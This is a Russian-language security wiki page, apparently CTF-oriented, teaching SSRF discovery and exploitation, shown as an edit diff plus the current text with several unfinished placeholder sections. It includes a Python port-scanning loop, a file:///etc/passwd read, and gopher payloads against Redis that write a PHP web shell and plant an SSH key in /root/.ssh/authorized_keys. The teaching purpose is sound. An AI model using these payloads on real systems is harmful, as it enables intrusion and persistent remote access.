Ssrf — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м
м (Райтапы)
 
(не показано 9 промежуточных версий этого же участника)
Строка 1: Строка 1:
SSRF(Server-Side Request Forgery) - это (определение)
+
SSRF(Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.
  
(общий принцип уязвимости)
+
Статья разделена на поиск уязвимого параметра для передачи URL и уже непосредственно эксплуатацию.
  
 
==Поиск==
 
==Поиск==
  
(по каким признакам можно найти)
+
Данная тема может появляться в разных тематиках и обозначаться разными ключевыми словами.
 +
 
 +
===Прокси===
 +
 
 +
Самое типичное - возможность использования скрипта как веб-прокси.
 +
 
 +
[[Файл:Proxy.png]]
 +
 
 +
Если вы анализируете непосредственно HTTP запросы, то может быть следующее:
 +
 
 +
    POST /proxy.php HTTP/1.1
 +
    Host: coolserver.com
 +
     
 +
    url=http://ipwnedyourscript.org
 +
 
 +
===Скачивание файлов===
 +
 
 +
Всем известный пример - скачивание аватарки по http без проверки типа файла.
 +
 
 +
[[Файл:Imageurl.png]]
 +
 
 +
Но так же это происходит и при скачивании файлов любых форматов:
 +
 
 +
[[Файл:Filebyurl.png]]
 +
 
 +
Иногда это может перейти в другие уязвимости, например File Upload + LFI = RCE (или сразу shell upload).
 +
О них вы можете почитать в соответствующих статьях.
 +
 
 +
Данный случай рассматривается '''ТОЛЬКО''' в случае наличия фильтрации, не позволяющий запуск произвольного кода.
  
 
==Эксплуатация==
 
==Эксплуатация==
Строка 13: Строка 41:
 
===Помощь при эксплуатации===
 
===Помощь при эксплуатации===
  
(обьяснение для чего нужны префиксы - кратко!)
+
Есть два случая - с автоматически приписывающемся префиксом и соответственно с изначальным его отсутствием.
 +
 
 +
Если у вас приписывается автоматически и вы знаете какой, то переходите в соответствующую вкладку префикса далее.
 +
Иначе пройдитесь по всем вкладкам и посмотрите, что может подойти именно к вашему скоупу.
 +
 
 
====Префикс http(s)====
 
====Префикс http(s)====
  
(обьяснение с примером)
+
Разделим на возможности
 +
 
 +
'''1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов'''
 +
 
 +
    GET /proxy.php?url=(http://)whitelisted.com
 +
    Host: cooolserver.com
 +
 
 +
'''2. '''Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере).
 +
 
 +
    GET /proxy.php?url=192.168.1.1 HTTP/1.1
 +
    Host: cooolserver.com
 +
 
 +
'''3. '''Сканирование доступных портов
 +
 
 +
Сделать это удобнее всего с помощью burpsuite intruder:
 +
 
 +
[[Файл:PortScanSSRF1.png]]
 +
[[Файл:PortScanSSRF2.png]]
 +
[[Файл:PortScanSSRF3.png]]
 +
 
 +
 
 +
Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам:
 +
 
 +
'''HTTP:'''
 +
 
 +
    GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1
 +
    Host: cooolserver.com
 +
 
 +
'''Python:'''
 +
 
 +
<syntaxhighlight lang="python" line="1" style="overflow-x:scroll" >
 +
import requests
 +
for x in range(1,65536):
 +
    r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) )
 +
    if r.text != '':print(x)
 +
</syntaxhighlight>
 +
 
 +
'''Perl'''
 +
 
 +
<syntaxhighlight lang="perl" line="1" style="overflow-x:scroll" >
 +
код на перле
 +
</syntaxhighlight>
 +
 
 +
'''C/C++'''
 +
 
 +
<syntaxhighlight lang="perl" line="1" style="overflow-x:scroll" >
 +
код на Си
 +
</syntaxhighlight>
 +
 
 +
 
 +
'''Ruby'''
 +
 
 +
<syntaxhighlight lang="perl" line="1" style="overflow-x:scroll" >
 +
код на руби
 +
</syntaxhighlight>
  
 
====Префикс file====
 
====Префикс file====
  
(обьяснение с примером)
+
file:// позволяет читать файлы из файловой системы
 +
 
 +
Например
 +
 
 +
    file:///etc/passwd
 +
 
 +
будет считывать файл /etc/passwd
  
 
====Префикс tftp====
 
====Префикс tftp====
Строка 28: Строка 120:
 
====Префикс gopher====
 
====Префикс gopher====
  
(обьяснение с примером)
+
Префикс требуется для общения по socket'ам.
 +
 
 +
Пример реализации - запрос gopher://127.0.0.1:8080/11234%250a6789 отошлет следующее:
 +
 
 +
    1234\n
 +
    6789
 +
 
 +
Не забывайте, что \n нужно кодировать дважды (urlencode) - %250a, чтобы на сервер пришла строка с %0a которая впоследствии пойдет в http клиент.
  
 
====Префикс dict====
 
====Префикс dict====
Строка 46: Строка 145:
 
====Чтение локальных файлов====
 
====Чтение локальных файлов====
  
(перечисляешь способы)
+
'''Первый способ''' - file://<path> (выше пример был)
 +
 
 +
 
 +
'''Второй способ''' - ftp?
 +
 
 +
 
 +
 
 +
====Загрузка файлов====
 +
 
 +
Если файл сохраняется под именем, который был на нашей введенной ссылке, то таким образом скорее всего возможно загрузить shell.
  
====Скачивание файлов====
 
  
(перечисляешь способы - не знаю точно возможен ли данный вектор)
+
Для этого требуется отослать ссылку на .php или другие программные форматы.
  
 
====Подключение к сервисам за фаерволом====
 
====Подключение к сервисам за фаерволом====
Строка 62: Строка 169:
 
(перечисляешь способы + скрипты реализации)
 
(перечисляешь способы + скрипты реализации)
  
 +
 +
====Redis====
 +
 +
Если открыт порт Redis (по-умолчанию это 6379), то при наличии прав мы можем создавать файлы  с нужным содержимым.
 +
 +
=====Загрузка PHP шелла=====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div">
 +
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/var/www/html%250d%250aconfig%2520set%2520dbfilename%2520shell.php%250d%250aset%2520test%2520"<%253fphp%2520system($_GET['c']);%2520%253f>"%250d%250asave%250d%250aQUIT%250d%250a
 +
</syntaxhighlight>
 +
 +
=====Добавление SSH сертификата=====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div">
 +
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/root/.ssh%250d%250aconfig%2520set%2520dbfilename%2520authorized_keys%250d%250aset%2520test%2520"<содержимое публичного ключа id_rsa.pub>"%250d%250asave%250d%250aQUIT%250d%250a
 +
</syntaxhighlight>
  
 
==Особенности ПО==
 
==Особенности ПО==
Строка 82: Строка 205:
 
==Райтапы==
 
==Райтапы==
  
(ссылки)
+
[https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake Baby Cake]
  
 
==Полезные ссылки==
 
==Полезные ссылки==
  
(ссылки)
+
[https://dsec.ru/wp-content/uploads/2018/09/techtrain_ssrf.pdf Презентация Digital Security]

Текущая версия на 21:41, 24 октября 2018

SSRF(Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.

Статья разделена на поиск уязвимого параметра для передачи URL и уже непосредственно эксплуатацию.

Поиск

Данная тема может появляться в разных тематиках и обозначаться разными ключевыми словами.

Прокси

Самое типичное - возможность использования скрипта как веб-прокси.

Proxy.png

Если вы анализируете непосредственно HTTP запросы, то может быть следующее:

    POST /proxy.php HTTP/1.1
    Host: coolserver.com
     
    url=http://ipwnedyourscript.org

Скачивание файлов

Всем известный пример - скачивание аватарки по http без проверки типа файла.

Imageurl.png

Но так же это происходит и при скачивании файлов любых форматов:

Filebyurl.png

Иногда это может перейти в другие уязвимости, например File Upload + LFI = RCE (или сразу shell upload). О них вы можете почитать в соответствующих статьях.

Данный случай рассматривается ТОЛЬКО в случае наличия фильтрации, не позволяющий запуск произвольного кода.

Эксплуатация

(что требуется для эксплуатации - что не должно фильтроваться)

Помощь при эксплуатации

Есть два случая - с автоматически приписывающемся префиксом и соответственно с изначальным его отсутствием.

Если у вас приписывается автоматически и вы знаете какой, то переходите в соответствующую вкладку префикса далее. Иначе пройдитесь по всем вкладкам и посмотрите, что может подойти именно к вашему скоупу.

Префикс http(s)

Разделим на возможности

1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов

    GET /proxy.php?url=(http://)whitelisted.com
    Host: cooolserver.com

2. Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере).

    GET /proxy.php?url=192.168.1.1 HTTP/1.1
    Host: cooolserver.com

3. Сканирование доступных портов

Сделать это удобнее всего с помощью burpsuite intruder:

PortScanSSRF1.png PortScanSSRF2.png PortScanSSRF3.png


Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам:

HTTP:

    GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1
    Host: cooolserver.com

Python:

import requests
for x in range(1,65536):
     r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) )
     if r.text != '':print(x)

Perl

код на перле

C/C++

код на Си


Ruby

код на руби

Префикс file

file:// позволяет читать файлы из файловой системы

Например

    file:///etc/passwd

будет считывать файл /etc/passwd

Префикс tftp

(обьяснение с примером)

Префикс gopher

Префикс требуется для общения по socket'ам.

Пример реализации - запрос gopher://127.0.0.1:8080/11234%250a6789 отошлет следующее:

    1234\n
    6789

Не забывайте, что \n нужно кодировать дважды (urlencode) - %250a, чтобы на сервер пришла строка с %0a которая впоследствии пойдет в http клиент.

Префикс dict

(обьяснение с примером)

Префикс rtsp

(обьяснение с примером)

(добавь еще префиксов)

Вектора атак

Чтение локальных файлов

Первый способ - file://<path> (выше пример был)


Второй способ - ftp?


Загрузка файлов

Если файл сохраняется под именем, который был на нашей введенной ссылке, то таким образом скорее всего возможно загрузить shell.


Для этого требуется отослать ссылку на .php или другие программные форматы.

Подключение к сервисам за фаерволом

(перечисляешь способы)


Сканирование портов

(перечисляешь способы + скрипты реализации)


Redis

Если открыт порт Redis (по-умолчанию это 6379), то при наличии прав мы можем создавать файлы с нужным содержимым.

Загрузка PHP шелла
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/var/www/html%250d%250aconfig%2520set%2520dbfilename%2520shell.php%250d%250aset%2520test%2520"<%253fphp%2520system($_GET['c']);%2520%253f>"%250d%250asave%250d%250aQUIT%250d%250a
Добавление SSH сертификата
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/root/.ssh%250d%250aconfig%2520set%2520dbfilename%2520authorized_keys%250d%250aset%2520test%2520"<содержимое публичного ключа id_rsa.pub>"%250d%250asave%250d%250aQUIT%250d%250a

Особенности ПО

Curl

(что поддерживает)

Requests

(что поддерживает)

(добавь свое - например робобраузеры)

Примеры из тасков

(примеры использования каких то векторов)

Райтапы

Baby Cake

Полезные ссылки

Презентация Digital Security